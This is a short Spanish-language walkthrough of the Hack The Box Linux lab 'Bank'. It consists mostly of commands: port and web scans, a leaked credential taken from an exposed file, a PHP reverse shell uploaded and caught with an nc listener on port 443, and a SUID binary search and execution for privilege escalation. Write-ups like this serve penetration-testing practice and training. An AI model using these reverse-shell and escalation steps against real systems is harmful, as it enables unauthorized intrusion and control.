Bank
HTB Linux
nmap -A -p- -oA bank 10.129.121.9 —min-rate=10000 —script=vuln —script-timeout=15 -v
nmap -sC -sV -O -p- -oA bank 10.129.121.9
nmap -sU -O -p- -oA bank-udp 10.129.121.9
nikto -h 10.129.121.9:80
whatweb http://10.129.121.9
echo “10.129.121.9 bank.htb” | sudo tee -a /etc/hosts
ffus -u “http://bank.htb/FUZZ” -w /usr/share/seclists/Discover/Web-Content/directory-list-2.3-medium.txt
http://10.129.121.9/balance-transfer
Nos dirigimos a http://10.129.121.9 pero no tenemos credenciales
Le hacemos un cat al archivo y vemos credenciales-> chris@bank.htb:!##HTBB4nkP4ssw0rd!##
Nos logeamos
cp /usr/share/webshells/php/php-reverse-shell.php shell.htb
Modificamos el archivo con la ip de la maquina kali y el puerto 443
nc -lvnp 443
Subimos el archivo shell.htb
Le damos click a Click Here en attachments
cd /tmp
find / -perm -u=s 2>/dev/null
file /var/htb/bin/emergency
ls -al /var/htb/bin/emergency
/var/htb/bin/emergency
